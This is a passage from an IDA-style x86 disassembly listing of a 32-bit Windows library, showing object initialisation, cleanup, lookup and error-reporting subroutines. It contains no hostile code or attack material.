call sub_69B17320
loc_69B8B623: ; CODE XREF: sub_69B8B602+Aj
test esi, esi
jnz short loc_69B8B60E
push esi
push ebx
call sub_69B17320
pop edi
pop esi
pop ebx
retn
sub_69B8B602 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B632 proc near ; CODE XREF: sub_69B3DADB+BFp
; sub_69B3E044+28p ...
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push ebx
lea eax, [esi+40h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+44h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+48h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+50h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+54h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+58h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+5Ch]
push eax
call sub_69B17320
push ebx
lea eax, [esi+4Ch]
push eax
call sub_69B17320
push ebx
lea eax, [esi+60h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+64h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+3Ch]
push eax
call sub_69B17320
lea ecx, [esi+0Ch]
call sub_69B8AC54
lea ecx, [esi+1Ch]
call sub_69B8AC54
mov [esi+2Ch], bl
mov [esi+2Fh], bl
mov [esi+2Dh], bl
mov [esi+2Eh], bl
mov [esi+30h], bl
pop esi
pop ebx
retn
sub_69B8B632 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B6C8 proc near ; CODE XREF: sub_69B8E980+15Ep
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
mov ecx, [edi+4Ch]
test ecx, ecx
jz short loc_69B8B6F3
push dword ptr [esi+8]
call sub_69B1980A
mov ebx, eax
test ebx, ebx
jz short loc_69B8B6F3
push dword ptr [esi+8]
mov ecx, [edi+4Ch]
call sub_69B17DC6
jmp short loc_69B8B6FF
; ---------------------------------------------------------------------------
loc_69B8B6F3: ; CODE XREF: sub_69B8B6C8+Ej
; sub_69B8B6C8+1Cj
push 0
push 0
push esi
call sub_69B8CBBB
mov ebx, eax
loc_69B8B6FF: ; CODE XREF: sub_69B8B6C8+29j
pop edi
pop esi
mov eax, ebx
pop ebx
retn 4
sub_69B8B6C8 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B707 proc near ; CODE XREF: sub_69B5B47E+26p
; sub_69B8E980+102p
arg_0 = dword ptr 4
push ebx
push esi
lea esi, [ecx+4Ch]
cmp dword ptr [esi], 0
push edi
jnz short loc_69B8B71E
call sub_69B315A6
push eax
push esi
call sub_69B17320
loc_69B8B71E: ; CODE XREF: sub_69B8B707+9j
mov edi, [esp+0Ch+arg_0]
mov eax, [edi+8]
mov ecx, [esi]
push eax
call sub_69B1980A
mov ebx, eax
test ebx, ebx
jnz short loc_69B8B748
push eax
push eax
push edi
call sub_69B8CBBB
mov ecx, [esi]
mov ebx, eax
push ebx
push dword ptr [edi+8]
call sub_69B3182D
loc_69B8B748: ; CODE XREF: sub_69B8B707+2Aj
pop edi
pop esi
mov eax, ebx
pop ebx
retn 4
sub_69B8B707 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B750 proc near ; CODE XREF: sub_69B4F873+135p
; sub_69B4FCAC+9Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi+60h]
cmp dword ptr [esi], 0
jnz short loc_69B8B779
call sub_69B17275
neg eax
sbb al, al
inc al
push eax
push 1
push 10h
call sub_69B315DA
push eax
push esi
call sub_69B17320
loc_69B8B779: ; CODE XREF: sub_69B8B750+Bj
push [esp+0Ch+arg_4]
mov ebx, [esp+10h+arg_0]
mov ecx, [esi]
push ebx
call sub_69B3182D
cmp ebx, dword_69B95A18
jnz short loc_69B8B795
mov byte ptr [edi+30h], 1
loc_69B8B795: ; CODE XREF: sub_69B8B750+3Fj
pop edi
pop esi
pop ebx
retn 8
sub_69B8B750 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B79B proc near ; CODE XREF: sub_69B8BC27+4Fp
arg_0 = dword ptr 4
mov ecx, [ecx+60h]
test ecx, ecx
push esi
jz short loc_69B8B7CE
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_69B8B7CE
push esi
call sub_69B1980A
test eax, eax
jz short loc_69B8B7CE
cmp esi, eax
jz short loc_69B8B7CE
cmp dword_69B95A18, eax
jz short loc_69B8B7CE
xor ecx, ecx
cmp dword ptr [eax+40h], 4
setnz cl
mov al, cl
jmp short loc_69B8B7D0
; ---------------------------------------------------------------------------
loc_69B8B7CE: ; CODE XREF: sub_69B8B79B+6j
; sub_69B8B79B+Ej ...
xor al, al
loc_69B8B7D0: ; CODE XREF: sub_69B8B79B+31j
pop esi
retn 4
sub_69B8B79B endp
; =============== S U B R O U T I N E =======================================
sub_69B8B7D4 proc near ; CODE XREF: sub_69B5B263+78p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
lea esi, [ecx+64h]
cmp dword ptr [esi], 0
jnz short loc_69B8B7F9
call sub_69B17275
neg eax
sbb al, al
inc al
push eax
push 1
push 0Bh
call sub_69B315DA
push eax
push esi
call sub_69B17320
loc_69B8B7F9: ; CODE XREF: sub_69B8B7D4+7j
push [esp+4+arg_4]
mov ecx, [esi]
push [esp+8+arg_0]
call sub_69B3182D
pop esi
retn 8
sub_69B8B7D4 endp
; =============== S U B R O U T I N E =======================================
sub_69B8B80C proc near ; CODE XREF: sub_69B8B9D9+87p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [ecx+48h]
test eax, eax
push esi
jz short loc_69B8B847
push 1
push eax
call sub_69B3156E
mov esi, eax
jmp short loc_69B8B83C
; ---------------------------------------------------------------------------
loc_69B8B820: ; CODE XREF: sub_69B8B80C+39j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
mov ecx, [eax+8]
cmp ecx, [esp+4+arg_0]
jnz short loc_69B8B83C
mov ecx, [eax+0Ch]
mov ecx, [ecx+0Ch]
cmp ecx, [esp+4+arg_4]
jz short loc_69B8B849
loc_69B8B83C: ; CODE XREF: sub_69B8B80C+12j
; sub_69B8B80C+22j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
test al, al
jnz short loc_69B8B820
loc_69B8B847: ; CODE XREF: sub_69B8B80C+6j
xor eax, eax
loc_69B8B849: ; CODE XREF: sub_69B8B80C+2Ej
pop esi
retn 8
sub_69B8B80C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8B84D proc near ; CODE XREF: sub_69B8BBC2+55p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, ecx
mov ecx, edi
mov byte ptr [esi+2Fh], 1
mov byte ptr [esi+2Ch], 1
call sub_69B17275
mov ecx, esi
mov ebx, eax
call sub_69B17275
cmp eax, ebx
setnz al
cmp dword ptr [edi+48h], 0
mov byte ptr [ebp+arg_0], al
jz short loc_69B8B8A9
lea ebx, [esi+48h]
cmp dword ptr [ebx], 0
jnz short loc_69B8B892
call sub_69B315A6
push eax
push ebx
call sub_69B17320
loc_69B8B892: ; CODE XREF: sub_69B8B84D+37j
push edi
push esi
push [ebp+arg_4]
push [ebp+arg_0]
push offset sub_69B8CC29
push dword ptr [ebx]
push dword ptr [edi+48h]
call sub_69B8B124
loc_69B8B8A9: ; CODE XREF: sub_69B8B84D+2Fj
cmp dword ptr [edi+64h], 0
jz short loc_69B8B8DA
lea ebx, [esi+64h]
cmp dword ptr [ebx], 0
jnz short loc_69B8B8C3
call sub_69B315A6
push eax
push ebx
call sub_69B17320
loc_69B8B8C3: ; CODE XREF: sub_69B8B84D+68j
push edi
push esi
push [ebp+arg_4]
push [ebp+arg_0]
push offset sub_69B8D097
push dword ptr [ebx]
push dword ptr [edi+64h]
call sub_69B8B124
loc_69B8B8DA: ; CODE XREF: sub_69B8B84D+60j
pop edi
pop esi
pop ebx
pop ebp
retn 8
sub_69B8B84D endp
; =============== S U B R O U T I N E =======================================
sub_69B8B8E1 proc near ; CODE XREF: sub_69B5A96B+3j
; sub_69B5CB6E+9Fp
push esi
mov esi, ecx
mov eax, [esi+4Ch]
test eax, eax
jz short loc_69B8B935
cmp dword ptr [eax+0Ch], 0
jz short loc_69B8B935
push edi
push 1
push eax
call sub_69B3156E
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+40h]
cmp byte ptr [esi+2Fh], 0
mov edi, eax
mov eax, [edi+8]
mov eax, [eax+10h]
jz short loc_69B8B91B
push eax
mov ecx, esi
call sub_69B5ABF5
test al, al
jz short loc_69B8B934
loc_69B8B91B: ; CODE XREF: sub_69B8B8E1+2Cj
push 0
mov ecx, edi
call sub_69B8AFA4
push eax
mov eax, 0C00CE01Ch
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B8B934: ; CODE XREF: sub_69B8B8E1+38j
pop edi
loc_69B8B935: ; CODE XREF: sub_69B8B8E1+8j
; sub_69B8B8E1+Ej
pop esi
retn
sub_69B8B8E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8B937 proc near ; CODE XREF: sub_69B8BCA2+80p
; sub_69B8D25F+7Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
test ebx, ebx
push esi
mov esi, [eax+8]
push edi
mov edi, ecx
push esi
jz short loc_69B8B995
mov ecx, ebx
call sub_69B8C678
test eax, eax
mov [ebp+arg_4], eax
jnz short loc_69B8B9CF
mov eax, [ebx+2Ch]
cmp byte ptr [eax+8], 0
jz short loc_69B8B984
push dword ptr [esi+10h]
mov ecx, edi
call sub_69B5ABF5
test al, al
jnz short loc_69B8B978
cmp dword ptr [esi+10h], 0
jnz short loc_69B8B9CF
loc_69B8B978: ; CODE XREF: sub_69B8B937+39j
push esi
mov ecx, edi
call sub_69B8B114
test eax, eax
jnz short loc_69B8B9CF
loc_69B8B984: ; CODE XREF: sub_69B8B937+2Bj
cmp byte ptr [edi+2Fh], 0
jz short loc_69B8B9B1
mov eax, [esi+10h]
cmp eax, dword_69B95A5C
jmp short loc_69B8B9AF
; ---------------------------------------------------------------------------
loc_69B8B995: ; CODE XREF: sub_69B8B937+14j
mov ecx, edi
call sub_69B8B114
test eax, eax
mov [ebp+arg_4], eax
jnz short loc_69B8B9CF
push dword ptr [esi+10h]
mov ecx, edi
call sub_69B5ABF5
test al, al
loc_69B8B9AF: ; CODE XREF: sub_69B8B937+5Cj
jz short loc_69B8B9CF
loc_69B8B9B1: ; CODE XREF: sub_69B8B937+51j
mov ecx, [ebp+arg_0]
mov eax, [ecx]
push 0
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE015h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
xor eax, eax
jmp short loc_69B8B9D2
; ---------------------------------------------------------------------------
loc_69B8B9CF: ; CODE XREF: sub_69B8B937+22j
; sub_69B8B937+3Fj ...
mov eax, [ebp+arg_4]
loc_69B8B9D2: ; CODE XREF: sub_69B8B937+96j
pop edi
pop esi
pop ebx
pop ebp
retn 8
sub_69B8B937 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8B9D9 proc near ; CODE XREF: sub_69B8BC27+66p
; sub_69B8BCA2+55p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
mov eax, [ebx+8]
push esi
push edi
mov edi, ecx
cmp dword ptr [edi+5Ch], 0
jnz short loc_69B8BA53
mov esi, [eax+10h]
push esi
call sub_69B5ABF5
test al, al
jz short loc_69B8BA4C
test esi, esi
jz short loc_69B8BA33
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+2Ch]
push eax
mov [ebp+arg_0], eax
call sub_69B8AF80
test al, al
jz short loc_69B8BA33
mov ecx, [edi+60h]
push esi
call sub_69B1980A
cmp eax, esi
jz short loc_69B8BA33
push 0
push [ebp+arg_0]
mov eax, 0C00CE139h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B8BA33: ; CODE XREF: sub_69B8B9D9+23j
; sub_69B8B9D9+37j ...
mov eax, [ebx]
mov ecx, ebx
mov esi, 0C00CE00Dh
call dword ptr [eax+2Ch]
loc_69B8BA3F: ; CODE XREF: sub_69B8B9D9+C0j
push 0
push eax
push esi
push esi
call sub_69B2E9D0
add esp, 10h
loc_69B8BA4C: ; CODE XREF: sub_69B8B9D9+1Fj
pop edi
pop esi
pop ebx
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_69B8BA53: ; CODE XREF: sub_69B8B9D9+12j
cmp dword ptr [eax+10h], 0
jz short loc_69B8BA33
mov esi, [ebx+0Ch]
push esi
push eax
mov ecx, edi
call sub_69B8B80C
test eax, eax
jz short loc_69B8BA33
test esi, esi
mov edi, offset off_69B1F304
mov eax, edi
jz short loc_69B8BA94
mov eax, [esi]
push 0
mov ecx, esi
call dword ptr [eax+2Ch]
push eax
push 0FFFFFFFFh ; int
push offset asc_69B282D8 ; ":"
call sub_69B2EDFA
push eax
push edi
call sub_69B2F2CA
add esp, 10h
loc_69B8BA94: ; CODE XREF: sub_69B8B9D9+99j
mov esi, 0C00CE016h
jmp short loc_69B8BA3F
sub_69B8B9D9 endp
; =============== S U B R O U T I N E =======================================
sub_69B8BA9B proc near ; CODE XREF: sub_69B8BD72+E9p
arg_0 = dword ptr 4
push [esp+arg_0]
add ecx, 0A8h
push ecx
call sub_69B17320
retn 4
sub_69B8BA9B endp
; =============== S U B R O U T I N E =======================================
sub_69B8BAAE proc near ; DATA XREF: .text:69B16D90o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B8BAC9
test [esp+4+arg_0], 1
jz short loc_69B8BAC3
push esi
call sub_69B1829F
loc_69B8BAC3: ; CODE XREF: sub_69B8BAAE+Dj
mov eax, esi
pop esi
retn 4
sub_69B8BAAE endp
; =============== S U B R O U T I N E =======================================
sub_69B8BAC9 proc near ; CODE XREF: sub_69B8BAAE+3p
push esi
mov esi, ecx
lea eax, [esi+1Ch]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+8]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B8BAC9 endp
; =============== S U B R O U T I N E =======================================
sub_69B8BAEF proc near ; DATA XREF: .text:69B16E74o
push esi
mov esi, ecx
call sub_69B8B632
push 0
lea eax, [esi+38h]
push eax
call sub_69B17320
push 0
lea eax, [esi+34h]
push eax
call sub_69B2DEB2
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B8BAEF endp
; =============== S U B R O U T I N E =======================================
sub_69B8BB15 proc near ; DATA XREF: .text:69B16E4Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B8BB30
test [esp+4+arg_0], 1
jz short loc_69B8BB2A
push esi
call sub_69B1829F
loc_69B8BB2A: ; CODE XREF: sub_69B8BB15+Dj
mov eax, esi
pop esi
retn 4
sub_69B8BB15 endp
; =============== S U B R O U T I N E =======================================
sub_69B8BB30 proc near ; CODE XREF: sub_69B8BB15+3p
push esi
mov esi, ecx
lea eax, [esi+64h]
push eax
call sub_69B17230
lea eax, [esi+60h]
push eax
call sub_69B17230
lea eax, [esi+5Ch]
push eax
call sub_69B17230
lea eax, [esi+58h]
push eax
call sub_69B17230
lea eax, [esi+54h]
push eax
call sub_69B17230
lea eax, [esi+50h]
push eax
call sub_69B17230
lea eax, [esi+4Ch]
push eax
call sub_69B17230
lea eax, [esi+48h]
push eax
call sub_69B17230
lea eax, [esi+44h]
push eax
call sub_69B17230
lea eax, [esi+40h]
push eax
call sub_69B17230
lea eax, [esi+3Ch]
push eax
call sub_69B17230
lea eax, [esi+38h]
push eax
call sub_69B17230
lea eax, [esi+34h]
push eax
call sub_69B2DEDD
lea eax, [esi+20h]
push eax
call sub_69B17230
lea eax, [esi+10h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B8BB30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8BBC2 proc near ; CODE XREF: sub_69B4FA5E+10Ap
; sub_69B8BD72+5Dp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push esi
mov [ebp+var_4], eax
mov [ebp+var_8], eax
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
mov esi, ecx
mov ecx, [ebp+arg_0]
push eax
push [ebp+arg_4]
add ecx, 3Ch
call sub_69B3BE6D
test al, al
jz short loc_69B8BC20
push [ebp+var_4]
mov ecx, esi
push [ebp+arg_4]
call sub_69B8B750
push [ebp+var_8]
lea ecx, [esi+0Ch]
push [ebp+arg_8]
call sub_69B5AED3
push [ebp+arg_C]
mov ecx, esi
push [ebp+var_C]
call sub_69B8B84D
mov al, 1
jmp short loc_69B8BC22
; ---------------------------------------------------------------------------
loc_69B8BC20: ; CODE XREF: sub_69B8BBC2+30j
xor al, al
loc_69B8BC22: ; CODE XREF: sub_69B8BBC2+5Cj
pop esi
leave
retn 10h
sub_69B8BBC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8BC27 proc near ; CODE XREF: sub_69B8D25F+1D1p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push ebx
push esi
mov esi, [eax+8]
push edi
push [ebp+arg_10]
mov [ebp+var_4], ecx
push esi
call sub_69B8B317
mov edi, [ebp+arg_C]
push dword ptr [edi]
mov ebx, eax
push [ebp+arg_8]
push ebx
push [ebp+arg_4]
push esi
call sub_69B9003D
test ebx, ebx
mov [ebp+arg_10], eax
jz short loc_69B8BC70
mov ecx, [ebx+2Ch]
push eax
call sub_69B8F525
mov eax, [ebp+arg_10]
and dword ptr [edi], 0
and dword ptr [eax+20h], 0
jmp short loc_69B8BC98
; ---------------------------------------------------------------------------
loc_69B8BC70: ; CODE XREF: sub_69B8BC27+32j
push dword ptr [esi+10h]
mov ecx, [ebp+var_4]
call sub_69B8B79B
test al, al
jz short loc_69B8BC87
mov dword ptr [edi], 2
jmp short loc_69B8BC98
; ---------------------------------------------------------------------------
loc_69B8BC87: ; CODE XREF: sub_69B8BC27+56j
push [ebp+arg_0]
mov ecx, [ebp+var_4]
call sub_69B8B9D9
mov dword ptr [edi], 3
loc_69B8BC98: ; CODE XREF: sub_69B8BC27+47j
; sub_69B8BC27+5Ej
mov eax, [ebp+arg_10]
pop edi
pop esi
pop ebx
leave
retn 14h
sub_69B8BC27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8BCA2 proc near ; CODE XREF: sub_69B8C084+1EAp
; sub_69B8D46D+1Ap
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov eax, [edi]
mov [ebp+var_4], ecx
mov ecx, edi
call dword ptr [eax+3Ch]
push [ebp+arg_8]
mov ecx, [ebp+var_4]
mov esi, eax
mov eax, [esi+8]
push eax
call sub_69B8B317
mov ebx, eax
test ebx, ebx
mov [ebp+arg_4], ebx
jz short loc_69B8BCF3
mov eax, [ebp+arg_14]
test eax, eax
jz short loc_69B8BCDB
mov byte ptr [eax], 1
loc_69B8BCDB: ; CODE XREF: sub_69B8BCA2+34j
mov esi, [ebp+arg_8]
push ebx
lea eax, [esi+18h]
push eax
call sub_69B17320
mov ecx, [ebx+2Ch]
push esi
call sub_69B8F525
jmp short loc_69B8BCFC
; ---------------------------------------------------------------------------
loc_69B8BCF3: ; CODE XREF: sub_69B8BCA2+2Dj
mov ecx, [ebp+var_4]
push esi
call sub_69B8B9D9
loc_69B8BCFC: ; CODE XREF: sub_69B8BCA2+4Fj
and dword ptr [edi+8], 0FFFFFFFBh
lea eax, [ebp+var_8]
push eax
mov ecx, edi
call sub_69B48F23
mov esi, eax
test esi, esi
jz short loc_69B8BD6B
jmp short loc_69B8BD16
; ---------------------------------------------------------------------------
loc_69B8BD13: ; CODE XREF: sub_69B8BCA2+C7j
mov ebx, [ebp+arg_4]
loc_69B8BD16: ; CODE XREF: sub_69B8BCA2+6Fj
mov eax, [esi]
push ebx
mov ecx, esi
call dword ptr [eax+3Ch]
mov ecx, [ebp+var_4]
push eax
call sub_69B8B937
mov ebx, eax
test ebx, ebx
jz short loc_69B8BD5A
mov ecx, ebx
call sub_69B8C6AD
push eax
mov ecx, esi
call sub_69B486A0
push ebx
push [ebp+arg_10]
mov ecx, esi
push 1
push 0
call sub_69B4B0C7
push 0
push ebx
push [ebp+arg_C]
push esi
push [ebp+arg_0]
call sub_69B4E634
loc_69B8BD5A: ; CODE XREF: sub_69B8BCA2+89j
lea eax, [ebp+var_8]
push eax
mov ecx, edi
call sub_69B486B5
mov esi, eax
test esi, esi
jnz short loc_69B8BD13
loc_69B8BD6B: ; CODE XREF: sub_69B8BCA2+6Dj
pop edi
pop esi
pop ebx
leave
retn 18h
sub_69B8BCA2 endp
; =============== S U B R O U T I N E =======================================
sub_69B8BD72 proc near ; CODE XREF: sub_69B4F873+152p
; sub_69B8C084+193p
push 24h
push offset dword_69B8BEF0
call sub_69B19C5C
mov ebx, ecx
mov [ebp-1Ch], ebx
mov byte ptr [ebp-1Dh], 0
mov edi, [ebp+8]
mov esi, [edi+68h]
push dword ptr [ebp+10h]
call sub_69B5ABF5
test al, al
jz short loc_69B8BDC1
push dword ptr [ebp+10h]
mov ecx, ebx
call sub_69B8B0DB
test eax, eax
jz short loc_69B8BDB8
cmp byte ptr [eax+0B1h], 0
jz short loc_69B8BDB8
push eax
mov ecx, edi
call sub_69B3E7B0
loc_69B8BDB8: ; CODE XREF: sub_69B8BD72+33j
; sub_69B8BD72+3Cj ...
mov byte ptr [ebp-1Dh], 1
jmp loc_69B8BEE4
; ---------------------------------------------------------------------------
loc_69B8BDC1: ; CODE XREF: sub_69B8BD72+25j
test esi, esi
jz short loc_69B8BDD8
push edi
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push esi
mov ecx, ebx
call sub_69B8BBC2
test al, al
jnz short loc_69B8BDB8
loc_69B8BDD8: ; CODE XREF: sub_69B8BD72+51j
mov ecx, [ebp+14h]
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov esi, eax
push esi
call sub_69B8AF80
test al, al
jz short loc_69B8BDFE
push dword_69B95A18
push dword ptr [ebp+10h]
mov ecx, ebx
call sub_69B8B750
jmp short loc_69B8BDB8
; ---------------------------------------------------------------------------
loc_69B8BDFE: ; CODE XREF: sub_69B8BD72+78j
push esi
call sub_69B8AF4C
test al, al
jz loc_69B8BEE4
cmp byte ptr [edi+83h], 0
jz loc_69B8BEE4
and dword ptr [ebp-24h], 0
lea eax, [ebp-24h]
push eax
lea eax, [ebp-28h]
push eax
push edi
push dword ptr [ebp+0Ch]
call sub_69B8D901
and dword ptr [ebp-4], 0
lea ecx, [ebp-30h]
call sub_69B11D97
mov byte ptr [ebx+2Fh], 1
push dword ptr [ebp-2Ch] ; int
push dword ptr [ebp-30h] ; int
push dword ptr [ebp+10h] ; int
push dword ptr [ebp-28h] ; lpString
mov ecx, edi
call sub_69B3E825
mov esi, eax
mov [ebp-34h], esi
push dword ptr [ebp+10h]
mov ecx, esi
call sub_69B8BA9B
lea eax, [esi+0ACh]
push eax ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
cmp dword ptr [ebp+0Ch], 0
jnz short loc_69B8BE8C
mov ecx, edi
call sub_69B3D8EC
test al, al
jz short loc_69B8BE8C
mov byte ptr [esi+8Ch], 0
mov ecx, edi
call sub_69B3E8B5
loc_69B8BE8C: ; CODE XREF: sub_69B8BD72+FFj
; sub_69B8BD72+10Aj
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B8BEB5
; ---------------------------------------------------------------------------
loc_69B8BE92: ; DATA XREF: .text:69B8BEF4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B8BE9B: ; DATA XREF: .text:69B8BEF8o
mov esp, [ebp-18h]
push dword ptr [ebp-24h]
call sub_69B1B2B7
call sub_69B2E860
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp-1Ch]
mov esi, [ebp-34h]
loc_69B8BEB5: ; CODE XREF: sub_69B8BD72+11Ej
push dword ptr [ebp-24h]
call sub_69B1B2B7
push esi
push dword ptr [ebp+10h]
mov ecx, ebx
call sub_69B8B750
mov esi, [esi+6Ch]
test esi, esi
jz short loc_69B8BED6
mov ecx, esi
call sub_69B2E875
loc_69B8BED6: ; CODE XREF: sub_69B8BD72+15Bj
mov byte ptr [ebp-1Dh], 1
mov eax, [ebp+18h]
test eax, eax
jz short loc_69B8BEE4
mov byte ptr [eax], 1
loc_69B8BEE4: ; CODE XREF: sub_69B8BD72+4Aj
; sub_69B8BD72+94j ...
mov al, [ebp-1Dh]
call sub_69B1853C
retn 14h
sub_69B8BD72 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B8BEF0 dd 0FFFFFFFFh dd offset loc_69B8BE92
dd offset loc_69B8BE9B
; =============== S U B R O U T I N E =======================================
sub_69B8BEFC proc near ; CODE XREF: sub_69B3C634+194p
; sub_69B3DABE+Dp ...
push 68h
call sub_69B17EF3
test eax, eax
jz short loc_69B8BF0E
mov ecx, eax
jmp sub_69B16DBC
; ---------------------------------------------------------------------------
loc_69B8BF0E: ; CODE XREF: sub_69B8BEFC+9j
xor eax, eax
retn 4
sub_69B8BEFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8BF13 proc near ; CODE XREF: sub_69B3F90C+110p
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
push [ebp+arg_0]
mov edi, ecx
call sub_69B8BEFC
mov esi, eax
mov al, [edi+2Ch]
mov [esi+2Ch], al
mov al, [edi+2Fh]
mov [esi+2Fh], al
mov al, [edi+30h]
mov ecx, esi
mov [esi+30h], al
call sub_69B17275
mov ecx, edi
mov ebx, eax
call sub_69B17275
cmp ebx, eax
jz short loc_69B8BFC5
push dword ptr [edi+3Ch]
call sub_69B2F0C4
push eax
lea eax, [esi+3Ch]
push eax
call sub_69B17320
mov ecx, [edi+48h]
test ecx, ecx
jz short loc_69B8BF8F
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push eax
push offset sub_69B8CC29
mov [ebp+var_10], 1
mov [ebp+var_8], esi
mov [ebp+var_4], edi
call sub_69B31749
push eax
lea eax, [esi+48h]
push eax
call sub_69B17320
loc_69B8BF8F: ; CODE XREF: sub_69B8BF13+52j
mov ecx, [edi+64h]
test ecx, ecx
jz short loc_69B8BFBE
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push eax
push offset sub_69B8D097
mov [ebp+var_10], 1
mov [ebp+var_8], esi
mov [ebp+var_4], edi
call sub_69B31749
push eax
lea eax, [esi+64h]
push eax
call sub_69B17320
loc_69B8BFBE: ; CODE XREF: sub_69B8BF13+81j
push 0
jmp loc_69B8C063
; ---------------------------------------------------------------------------
loc_69B8BFC5: ; CODE XREF: sub_69B8BF13+39j
lea eax, [edi+5Ch]
push eax
lea ecx, [esi+5Ch]
call sub_69B4D414
lea eax, [edi+3Ch]
push eax
lea ecx, [esi+3Ch]
call sub_69B4D414
mov ecx, [edi+40h]
test ecx, ecx
jz short loc_69B8BFF3
mov eax, [ecx]
call dword ptr [eax+28h]
push eax
lea eax, [esi+40h]
push eax
call sub_69B17320
loc_69B8BFF3: ; CODE XREF: sub_69B8BF13+CFj
mov ecx, [edi+44h]
test ecx, ecx
jz short loc_69B8C009
mov eax, [ecx]
call dword ptr [eax+28h]
push eax
lea eax, [esi+44h]
push eax
call sub_69B17320
loc_69B8C009: ; CODE XREF: sub_69B8BF13+E5j
mov ecx, [edi+48h]
test ecx, ecx
jz short loc_69B8C01F
mov eax, [ecx]
call dword ptr [eax+28h]
push eax
lea eax, [esi+48h]
push eax
call sub_69B17320
loc_69B8C01F: ; CODE XREF: sub_69B8BF13+FBj
mov ecx, [edi+50h]
test ecx, ecx
jz short loc_69B8C035
mov eax, [ecx]
call dword ptr [eax+28h]
push eax
lea eax, [esi+50h]
push eax
call sub_69B17320
loc_69B8C035: ; CODE XREF: sub_69B8BF13+111j
mov ecx, [edi+60h]
test ecx, ecx
jz short loc_69B8C04B
mov eax, [ecx]
call dword ptr [eax+28h]
push eax
lea eax, [esi+60h]
push eax
call sub_69B17320
loc_69B8C04B: ; CODE XREF: sub_69B8BF13+127j
mov ecx, [edi+64h]
test ecx, ecx
jz short loc_69B8C061
mov eax, [ecx]
call dword ptr [eax+28h]
push eax
lea eax, [esi+64h]
push eax
call sub_69B17320
loc_69B8C061: ; CODE XREF: sub_69B8BF13+13Dj
push 1
